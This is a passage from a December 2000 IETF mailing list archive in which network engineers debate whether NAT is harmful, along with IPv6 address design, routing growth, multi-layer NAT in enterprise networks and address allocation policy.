[195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23010 for ; Sun, 17 Dec 2000 14:06:16 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 515E989B; Sun, 17 Dec 2000 20:06:15 +0100 (CET) To: J.Crowcroft@CS.UCL.AC.UK, jnc@ginger.lcs.mit.edu Subject: Re: NATs *ARE* evil! Cc: gih@TELSTRA.NET, ietf@ietf.org Message-Id: <20001217190615.515E989B@sean.ebone.net> Date: Sun, 17 Dec 2000 20:06:15 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Jon Crowcroft writes: | anyhow, i think the old 8+8 v6 scheme would have sorted this out just | dandily....and i dont understand the vitriol people our on it - I don't understand alot of the vitriol, but I personally am concerned that 8 bytes is insufficient. If there was ever a time-space trade-off that should favour more space, it's addresses in future networks that require packet order to be maintained (at least within individual flows). Clearly there are other bits of a size-large Internet which will be many orders of magnitude slower in terms of pps and bps, exposing the fact that no given space-versus-compute-time tradeoff in packet headers will satisfy everyone. Result: RFC 1707 redux. The VLA arguments, with "tunable" address lengths (to some maximum) is an interesting compromise with people who have trouble coping with arbitrary address-length variability, but I think CATNIP's scheme is just as good, allowing for "tunable" networks, some of which may choose to find an appropriate per-packet space-for-compute-time tradeoff. The vitriol that will be poured on this is from reactionaries who seek to preserve the indistinction between who and where, and who seek genetic purity of the network layer (i.e., the address doesn't change at any border, implying the same protocol in use everywhere). My bet is that at least some of the 8+8 opponents realize that a move away from current IPv6 + strict CIDR + single namespace on either of the latter two vectors inevitably leads to a system which encourages fractional and ongoing obsolescence of IPv6 itself, perhaps even before it's widely deployed. Sean. From owner-ietf-outbound Sun Dec 17 14:40:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA27524 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 14:40:02 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA25901 for ; Sun, 17 Dec 2000 14:26:03 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA04297 for ; Sun, 17 Dec 2000 11:23:02 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> References: <14905.24219.694732.170219@localhost.localdomain> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> Date: Sun, 17 Dec 2000 11:25:10 -0800 To: ietf@ietf.org From: Paul Hoffman / IMC Subject: Re: Congestion control Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org WG chair says "OK, the room is now over-full. Who are there people in the doorway or outside who intend to work actively on drafts or forming the charter for this group? I see seven hands up. Could fourteen people who are currently sitting or jammed up against a wall who do *not* already plan to work actively on drafts or forming the charter for this group please be polite and leave? I will announce the mailing list address for this BOF on ietf@ietf.org if we get anywhere during this hour. Also, look for an announcement of a Bar BOF on the messages board later today. OK, about ten people have left. Thanks!" This, of course, relies on the early sitters being polite and patient, but that has been known to happen at various times in IETF history. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Sun Dec 17 14:50:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA29840 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 14:50:03 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA26711 for ; Sun, 17 Dec 2000 14:32:43 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Sun, 17 Dec 2000 14:32:45 -0500 Message-Id: <5.0.0.25.2.20001217142128.00a4f2f0@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Sun, 17 Dec 2000 14:24:16 -0500 To: ietf@ietf.org From: RJ Atkinson Subject: Re: NATs *ARE* evil! In-Reply-To: <874s02hpb0.fsf@snark.piermont.com> References: <200012171736.MAA24076@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 13:32 17/12/00, Perry E. Metzger wrote: >It is true that v6 qua v6 does not solve the route explosion >problem. It is also true that the route explosion problem is >a real problem. However, it doesn't make it worse, either. From an operator perspective, supporting *2* IP protocols is much harder than supporting just one. If one looks around, very few NOCs on the planet today could reasonably be called "fully successful" just managing IPv4. So, if one wanted IPv6 to be promoted by operators, one might spend time listening to operators and devising clever ways to make multi-homing and routing work visibly *better* with IPv6, to compensate for the much increased operational burden. Oddly enough, some folk are doing just this. Ran rja@inet.org From owner-ietf-outbound Sun Dec 17 15:30:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA05386 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 15:30:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA05073 for ; Sun, 17 Dec 2000 15:27:24 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA25500; Sun, 17 Dec 2000 15:26:58 -0500 (EST) Message-Id: <200012172026.PAA25500@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: smd@EBONE.NET (Sean Doran) cc: J.Crowcroft@CS.UCL.AC.UK, jnc@ginger.lcs.mit.edu, gih@TELSTRA.NET, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 20:06:15 +0100." <20001217190615.515E989B@sean.ebone.net> Date: Sun, 17 Dec 2000 15:26:58 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > The vitriol that will be poured on this is from reactionaries > who seek to preserve the indistinction between who and where, I don't know anyone who seeks to preserve this indistinction; however, I know several folks who are realistic about the difficulties of separating the two. > and who seek genetic purity of the network layer (i.e., the address > doesn't change at any border, implying the same protocol in use > everywhere). again, 'genetic purity' is a gloss over the real and significant technical justifications for a global network address space - many of which remain even if you do separate identify from network location. if you try to build a global network out of limited-scope addresses you eventually end up reinventing IP at a higher layer. Keith From owner-ietf-outbound Sun Dec 17 16:10:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA10045 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 16:10:02 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09214 for ; Sun, 17 Dec 2000 16:02:34 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id QAA21869; Sun, 17 Dec 2000 16:02:25 -0500 Date: Sun, 17 Dec 2000 16:02:25 -0500 From: "J. Noel Chiappa" Message-Id: <200012172102.QAA21869@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: Keith Moore > if you try to build a global network out of limited-scope addresses you > eventually end up reinventing IP at a higher layer. Err, did you perhaps mean "end up reinventing globally unique addresses somewhere else in the system"? :-) Noel From owner-ietf-outbound Sun Dec 17 16:20:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA11325 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 16:20:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09552 for ; Sun, 17 Dec 2000 16:05:39 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 409E489B; Sun, 17 Dec 2000 22:05:40 +0100 (CET) To: moore@cs.utk.edu, smd@ebone.net Subject: Re: NATs *ARE* evil! Cc: gih@TELSTRA.NET, ietf@ietf.org, J.Crowcroft@CS.UCL.AC.UK, jnc@ginger.lcs.mit.edu Message-Id: <20001217210540.409E489B@sean.ebone.net> Date: Sun, 17 Dec 2000 22:05:40 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Keith Moore writes: | if you try to build a global network out of limited-scope addresses | you eventually end up reinventing IP at a higher layer. Correct, that's (some of) the point of CATNIP (RFC 1707): you construct a network layer out of a virtual superset of the component internets' address spaces. Simple translations can avoid burning huge numbers of bits in the "CATNIP" (the super-internet address space) as well as providing a host-to-network interface, a network-to-super-network interface, and so forth. 1707 itself is simply an example of one of many possible CATNIPs that can coexist simultaneously in different parts of a global Internet. The important thing for the flexibility to handle multiple simultaneous disjoint network layer protocols is a session layerish "who" namespace disjoint from the various routing namespaces of various scopes, yet which in any scope can be used to look up a locally-relevant hni/nsni/nni "label", yet is used end-to-end for demuxing and other purposes that require the mutual identification of endpoints. IPv6 makes a perfectly reasonable host-to-network interface, as many people have indicated based on experiences posted to this list. It would make a better one if it separated "who" from "where". If it does so sensibly, it could even make a half-decent in-network protocol, although more importantly, it would readily coexist with better-tuned network layers within a super-Internet. Sean. From owner-ietf-outbound Sun Dec 17 18:20:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA28971 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 18:20:02 -0500 (EST) Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27685 for ; Sun, 17 Dec 2000 18:13:41 -0500 (EST) Received: from LYSANDER.dunn.org (pool0071.cvx21-bradley.dialup.earthlink.net [209.179.192.71]) by snipe.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id PAA04291; Sun, 17 Dec 2000 15:13:37 -0800 (PST) Message-Id: <5.0.2.1.2.20001217144735.00a62c98@launch.server101.com> X-Sender: dubr0002@launch.server101.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Sun, 17 Dec 2000 15:13:51 -0800 To: "J. Noel Chiappa" , ietf@ietf.org From: Bradley Dunn Subject: Re: NATs *ARE* evil! In-Reply-To: <200012171737.MAA21591@ginger.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 12:37 PM 12/17/2000 -0500, J. Noel Chiappa wrote: >It's hard to put numbers on it without knowing what %-age of sites which are >already globally advertised has more that one prefix, and how fast that >number is growing. However, looking at the routing table growth (it has >doubled in about 3 years), and given the growth in the user community over >that time, one has to expect that the growth in the user community is the >driver. This is probably true. The data seem to support it. The increase in prefixes due to stingy allocation policies apparently has been more than cancelled out by the decrease in prefixes (presumably) due to better aggregation. The number of prefixes per AS has been trending downward: http://www.telstra.net/ops/bgp-entries-as.html while the number of ASes has been increasing: http://www.telstra.net/ops/bgp-as-count.html Bradley From owner-ietf-outbound Sun Dec 17 21:31:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA18889 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 21:30:02 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA18836 for ; Sun, 17 Dec 2000 21:25:26 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id VAA22463; Sun, 17 Dec 2000 21:25:29 -0500 Date: Sun, 17 Dec 2000 21:25:29 -0500 From: "J. Noel Chiappa" Message-Id: <200012180225.VAA22463@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: jnc@ginger.lcs.mit.edu, perry@piermont.com X-Loop: ietf@ietf.org > From: "Perry E. Metzger" > Several layers of NAT has become common This is have a hard time fathoming - not that I'm doubting that people do it, mind. I mean, I can understand it is a temporary thing, e.g. if one company buys another, and in gluing the networks together they temporarily leave the bought company behind a NAT, but interface it to the world via the main corporation's gateway/NAT. But using a NAT box adds a ration of complexity (which is always bad and a source of potential problems), and using layers of them increases the complexity, with attendant complexity costs. I have a hard time understanding why people would add that much complexity, without a darned good reason. I mean, once you're behind a NAT box, you've got a *lot* of addresses to play with (how many, exactly, depends on how you're doing it). This is puzzling to me - what configurations are there out there that demand more address space, internally, than you already get with one layer of NAT box? Or is there some other reason I haven't figured out to have layers of address space? Noel From owner-ietf-outbound Sun Dec 17 22:20:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA20184 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 22:20:01 -0500 (EST) Received: from nyarlathotep.cis.upenn.edu (adsl-141-158-13-16.phila.adsl.bellatlantic.net [141.158.13.16]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20088 for ; Sun, 17 Dec 2000 22:11:52 -0500 (EST) Received: from adk.gr (localhost [127.0.0.1]) by nyarlathotep.cis.upenn.edu (8.10.1/8.10.1) with ESMTP id eBI35lT25071; Sun, 17 Dec 2000 22:05:47 -0500 (EST) Message-Id: <200012180305.eBI35lT25071@nyarlathotep.cis.upenn.edu> X-Mailer: exmh version 2.0.2 2/24/98 To: "J. Noel Chiappa" Cc: ietf@ietf.org, perry@piermont.com Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 21:25:29 EST." <200012180225.VAA22463@ginger.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 17 Dec 2000 22:05:47 -0500 From: "Angelos D. Keromytis" X-Loop: ietf@ietf.org In message <200012180225.VAA22463@ginger.lcs.mit.edu>, "J. Noel Chiappa" writes : > >I mean, once you're behind a NAT box, you've got a *lot* of addresses to play >with (how many, exactly, depends on how you're doing it). This is puzzling to >me - what configurations are there out there that demand more address space, >internally, than you already get with one layer of NAT box? Or is there some >other reason I haven't figured out to have layers of address space? Most *DSL providers only give you one or two addresses; some of them are even NAT'ed, which forces a small company (or something like my home network) to use a double-NAT. -Angelos From owner-ietf-outbound Sun Dec 17 22:40:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA21279 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 22:40:03 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20126 for ; Sun, 17 Dec 2000 22:15:36 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id E28871E00B1; Sun, 17 Dec 2000 22:15:22 -0500 (EST) Sender: perry@snark.piermont.com From: "Perry E. Metzger" To: "J. Noel Chiappa" Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012180225.VAA22463@ginger.lcs.mit.edu> Date: 17 Dec 2000 22:15:22 -0500 In-Reply-To: "J. Noel Chiappa"'s message of "Sun, 17 Dec 2000 21:25:29 -0500" Message-ID: <874s02qv1x.fsf@snark.piermont.com> Lines: 118 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org "J. Noel Chiappa" writes: > > From: "Perry E. Metzger" > > > Several layers of NAT has become common > > This is have a hard time fathoming - not that I'm doubting that people do it, > mind. Imagine a large number of companies talking to each other -- the sort of situation you have when, say, you have a large clearing and settlement operation on Wall Street that has decided to speak TCP/IP to its clients. Now, imagine also that the clearing house doesn't have real IP addresses -- after all, you're always told these days to use net 10 when you go to the registries and aren't going to be globally routing your nets -- and that the other firms also use unregistered addresses -- frequently, the same ones. Well, you have to talk, so you use NAT. Now, imagine that those clients have to access a service you are reselling -- say, some sort of market data or specialized clearing information. That service is also delivered over TCP/IP, and also over unregistered addresses. Packets start having to traverse several address zones, just within the network obvious to the clearing organization. Now, assume that there are a couple of address zones within the client site for whatever reason, so they're using NAT internally. Now, further assume that through various remote access schemes, you have to provide access to this mess over the "real" internet. Another layer of NAT gets added. Are you starting to see the nightmare that has been created here? None of this is theoretical. This stuff is really happening. > I mean, I can understand it is a temporary thing, e.g. if one company buys > another, and in gluing the networks together they temporarily leave the > bought company behind a NAT, but interface it to the world via the main > corporation's gateway/NAT. Unfortunately, multiple organizations like to talk to each other over their networks. Funny, that. Now, you'd imagine if a Large Market Data Provider, say, went to ARIN to ask for addresses, they'd get them, but they in practice don't -- they're told to use net 10 since their stuff isn't globally routed -- and of course all their customers use net 10 too... > But using a NAT box adds a ration of complexity (which is always bad > and a source of potential problems), and using layers of them > increases the complexity, with attendant complexity costs. I have a > hard time understanding why people would add that much complexity, > without a darned good reason. They can't avoid it. They need to get their work done. They have no way of getting registered addresses. They're told to use NAT by organizations like ARIN, and so they do the only thing they can. Why do you think we're seeing huge sales of routers but somehow we haven't run out of v4 address blocks? It isn't because people are using those routers as heating equipment. It isn't because those people wouldn't prefer to get registered addresses, too. Anyone notice how odd the growth charts look for the v4 allocation space? It is because we've already run out of addresses, folks -- or at least we're acting as though we have. I've seen as many as four layers of NAT. (That was only once, and not all the layers were within a single organization.) Two layers is routine, three less so. I'm making assumptions here, of course -- you don't know what's really going on inside the other organizations. For all I know, the packets I think are coming in from the other guy's net 10 are originating behind another layer of NAT or two. Hard to tell. It is impossible for *me* to try to figure out what is going on in such situations without a diagram. Imagine what it is like for ordinary NOC staff? And consider that NAT boxes are stateful. When they go, they take out long lived connections, unlike dead routers, which you can simply route around. And consider what happens when you suddenly discover that you need to re-jigger your whole nightmarish rube goldberg network because suddenly you have to make that net you never thought would have to talk to the internet show up on the net and you only have a couple of /24s you can get your hands on and have to push some of the stuff that's globally routed back into the private world somehow... None of this is theoretical. I've seen all of this. It is astonishing how hard it has all become. As I've said, millions are being spent a year by large organizations dealing with failures and complexity attributable to NAT. To the routing heads out there, v6 is a total failure because it doesn't solve the routing problem. I hear people like Sean Doran say "NAT is fine". That's because to the routing people and ISPs, the ugly stuff that happens at the endpoints of the networks is immaterial. ISPs get the global address blocks they want -- why do they care about the rest? Well, as things stand, we're having serious bad trouble happening at the edges of the net. NAT being a major source of operational trouble, failure and cost is not a future problem. It is here now. You may ask why these end users aren't demanding v6. Well, they can't go to their provider and buy v6. They don't even know about v6. So they struggle along in NATworld. After all, everyone else is doing the same thing. -- Perry E. Metzger perry@wasabisystems.com -- Quality NetBSD CDs, Support & Service. http://www.wasabisystems.com/ From owner-ietf-outbound Sun Dec 17 22:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA21390 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 22:50:03 -0500 (EST) Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20161 for ; Sun, 17 Dec 2000 22:19:10 -0500 (EST) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-blue.research.att.com (Postfix) with ESMTP id 766704CE1E; Sun, 17 Dec 2000 22:19:08 -0500 (EST) Received: from smb.research.att.com (postal.research.att.com [135.207.23.30]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id WAA27851; Sun, 17 Dec 2000 22:19:07 -0500 (EST) Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1]) by smb.research.att.com (Postfix) with ESMTP id C684135DC2; Sun, 17 Dec 2000 22:19:06 -0500 (EST) X-Mailer: exmh version 2.2 06/23/2000 with version: MH 6.8.3 #1[UCI] From: "Steven M. Bellovin" To: "J. Noel Chiappa" Cc: ietf@ietf.org, perry@piermont.com Subject: Re: NATs *ARE* evil! Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 17 Dec 2000 22:19:06 -0500 Sender: smb@research.att.com Message-Id: <20001218031906.C684135DC2@smb.research.att.com> X-Loop: ietf@ietf.org In message <200012180225.VAA22463@ginger.lcs.mit.edu>, "J. Noel Chiappa" writes : >I mean, I can understand it is a temporary thing, e.g. if one company buys >another, and in gluing the networks together they temporarily leave the >bought company behind a NAT, but interface it to the world via the main >corporation's gateway/NAT. But using a NAT box adds a ration of complexity >(which is always bad and a source of potential problems), and using layers of >them increases the complexity, with attendant complexity costs. I have a hard >time understanding why people would add that much complexity, without a >darned good reason. > >I mean, once you're behind a NAT box, you've got a *lot* of addresses to play >with (how many, exactly, depends on how you're doing it). This is puzzling to >me - what configurations are there out there that demand more address space, >internally, than you already get with one layer of NAT box? Or is there some >other reason I haven't figured out to have layers of address space? Generally, this happens not because of an address shortage, but because of unforeseen interconnections between NATted sites. --Steve Bellovin From owner-ietf-outbound Sun Dec 17 23:00:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA21522 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 23:00:02 -0500 (EST) Received: from mail.iagu.net (ns.iagu.net [203.32.153.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA21220 for ; Sun, 17 Dec 2000 22:33:15 -0500 (EST) Received: from pom.global.net.pg [202.1.52.2] by mail.iagu.net (8.8.5/AndrewR-19990125) with ESMTP id OAA03038 return ; Mon, 18 Dec 2000 14:03:03 +1030 (CST) Mime-Version: 1.0 X-Sender: andrewr@isp.iagu.net Message-Id: In-Reply-To: <1916212408.976873788@localhost> References: <1916212408.976873788@localhost> Date: Mon, 18 Dec 2000 14:02:55 +1030 To: John C Klensin From: Andrew Rutherford Subject: Re: What is the IETF? -- A note of caution Cc: ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 09:49 -0500 15/12/00, John C Klensin wrote: >I don't think company names on badges are harmful, and they do >help us identify each other (otherwise, we could carry the >principle to the limits and leave the names off too, replacing >them with randomly-assigned numbers). So what about replacing company names on badges with email addresses? That might allow one to infer company affiliation if the wearer lists an address with a company component. Given most of us know each other via email address, and may wish to follow up a "hallway conversation" with email, it's possibly more functional. From owner-ietf-outbound Sun Dec 17 23:30:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA21758 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 23:30:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA21682 for ; Sun, 17 Dec 2000 23:21:17 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id XAA29289; Sun, 17 Dec 2000 23:21:17 -0500 (EST) Message-Id: <200012180421.XAA29289@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "J. Noel Chiappa" cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 16:02:25 EST." <200012172102.QAA21869@ginger.lcs.mit.edu> Date: Sun, 17 Dec 2000 23:21:17 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > > if you try to build a global network out of limited-scope addresses you > > eventually end up reinventing IP at a higher layer. > > Err, did you perhaps mean "end up reinventing globally unique addresses > somewhere else in the system"? :-) No. I considered whether reinventing something more-or-less like IP was more likely than merely reinventing globally unique addresses, and decided that it was...though it also seems likely that the "reinvented" IP would be far less efficient than the one we have now. note however that this reflects my expectations/intuitions about what would be likely to happen, not what I think would be an ideal path. but I'm fairly convinced that we are *far* better off with a global name space for network attachment points, which are exposed and visible to hosts and applications, than we are with only locally scoped addresses visible to hosts and applications - and this is regardless of whether we separate host identity from network location or not. Keith From owner-ietf-outbound Mon Dec 18 00:20:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA22529 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 00:20:02 -0500 (EST) Received: from garlic.amaranth.net (garlic.amaranth.net [216.235.243.195]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA22478 for ; Mon, 18 Dec 2000 00:10:44 -0500 (EST) Received: from senie.com (garlic.amaranth.net [216.235.243.195]) (authenticated (0 bits)) by garlic.amaranth.net (8.11.1/8.11.1) with ESMTP id eBI5AZg23823; Mon, 18 Dec 2000 00:10:35 -0500 Message-ID: <3A3D9C4A.59C9A2D4@senie.com> Date: Mon, 18 Dec 2000 00:10:34 -0500 From: Daniel Senie Organization: Amaranth Networks Inc. X-Mailer: Mozilla 4.76 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Steven M. Bellovin" CC: "J. Noel Chiappa" , ietf@ietf.org, perry@PIERMONT.COM Subject: Re: NATs *ARE* evil! References: <20001218031906.C684135DC2@smb.research.att.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "Steven M. Bellovin" wrote: > > In message <200012180225.VAA22463@ginger.lcs.mit.edu>, "J. Noel Chiappa" writes > : > > >I mean, I can understand it is a temporary thing, e.g. if one company buys > >another, and in gluing the networks together they temporarily leave the > >bought company behind a NAT, but interface it to the world via the main > >corporation's gateway/NAT. But using a NAT box adds a ration of complexity > >(which is always bad and a source of potential problems), and using layers of > >them increases the complexity, with attendant complexity costs. I have a hard > >time understanding why people would add that much complexity, without a > >darned good reason. > > > >I mean, once you're behind a NAT box, you've got a *lot* of addresses to play > >with (how many, exactly, depends on how you're doing it). This is puzzling to > >me - what configurations are there out there that demand more address space, > >internally, than you already get with one layer of NAT box? Or is there some > >other reason I haven't figured out to have layers of address space? > > Generally, this happens not because of an address shortage, but because > of unforeseen interconnections between NATted sites. I'd read that RIPE is at least making micro-allocations available. The ability to get a few /27 allocations can REALLY help in cross-connecting corporations which find themselves needing private interconnects. These micro-allocations are not routed globally, but rather are used to ensure unique numbers are available for private interconnects. ARIN would do well to offer such at low cost. Or perhaps someone should gather up a bunch of allocated /24 nets which have been out there and aren't in use, and set up an interconnect registry to hand out /27s or /29s and rent them to those who need this type of private interconnect. -- ----------------------------------------------------------------- Daniel Senie dts@senie.com Amaranth Networks Inc. http://www.amaranth.com From owner-ietf-outbound Mon Dec 18 01:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA22810 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 01:00:02 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA22770 for ; Mon, 18 Dec 2000 00:57:03 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id 8203F1E00AF; Mon, 18 Dec 2000 00:57:01 -0500 (EST) Sender: perry@snark.piermont.com From: "Perry E. Metzger" To: Daniel Senie Cc: "Steven M. Bellovin" , "J. Noel Chiappa" , ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <20001218031906.C684135DC2@smb.research.att.com> <3A3D9C4A.59C9A2D4@senie.com> Date: 18 Dec 2000 00:57:01 -0500 In-Reply-To: Daniel Senie's message of "Mon, 18 Dec 2000 00:10:34 -0500" Message-ID: <87k88yl1aq.fsf@snark.piermont.com> Lines: 16 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org Daniel Senie writes: > I'd read that RIPE is at least making micro-allocations available. The > ability to get a few /27 allocations can REALLY help in cross-connecting > corporations which find themselves needing private interconnects. It can help, but it is hardly sufficient. There are hundreds of servers involved in some of the systems I've seen. Thirty addresses won't usually cut it. In the end, we need more address space, and that means v6. -- Perry E. Metzger perry@wasabisystems.com -- Quality NetBSD CDs, Support & Service. http://www.wasabisystems.com/ From owner-ietf-outbound Mon Dec 18 03:30:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA06463 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 03:30:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA06387 for ; Mon, 18 Dec 2000 03:20:32 -0500 (EST) Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Mon, 18 Dec 2000 08:20:07 +0000 To: RJ Atkinson cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 14:24:16 EST." <5.0.0.25.2.20001217142128.00a4f2f0@gnat.inet.org> Date: Mon, 18 Dec 2000 08:20:07 +0000 Message-ID: <664.977127607@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org In message <5.0.0.25.2.20001217142128.00a4f2f0@gnat.inet.org>, RJ Atkinson type d: >>At 13:32 17/12/00, Perry E. Metzger wrote: >> From an operator perspective, supporting *2* IP protocols >>is much harder than supporting just one. If one looks around, >>very few NOCs on the planet today could reasonably be called >>"fully successful" just managing IPv4. lets not forget that supporting IP at all is counter intuitive - the business case for providing interconnectivity to _other_ peoples services is not there, unless they are already - it requires socialist (i.e. government subsidy) to make the internet what it is now - i am betting that most telco-child ISPs love NATs and simialr technology coz they promote walled gardens (like wap etc) and lock in and all that old stuff, BUT the only way out of this deadend that is IP v4 requires either OneBigIsp to take the plunge as a way of getting more check marks on their service, or as a way of getting an even bigger wall aroudn their garden (e.g. 3G guys might consider this:-), OR it requires some sort of socially responsible behaviour (e.g. most the 6bone is probably subsidized) to glop it all together and just make it inevitable....(this is not specially a v6 plug, just a plea for connectivity) >> So, if one wanted IPv6 to be promoted by operators, >>one might spend time listening to operators and devising >>clever ways to make multi-homing and routing work visibly >>*better* with IPv6, to compensate for the much increased >>operational burden. Oddly enough, some folk are doing just >>this. indeed - we might as well work with what we have - hey, there's a lot of stuff one can do with the code still, including just re-writing a lot of cruft in routing code - btw, the way 3G access networks work, one ought to be able to mandate for really good aggregation - i think a lot of people forget that the exponential growth curve of the internet is not made out of homogeneous pieces - its 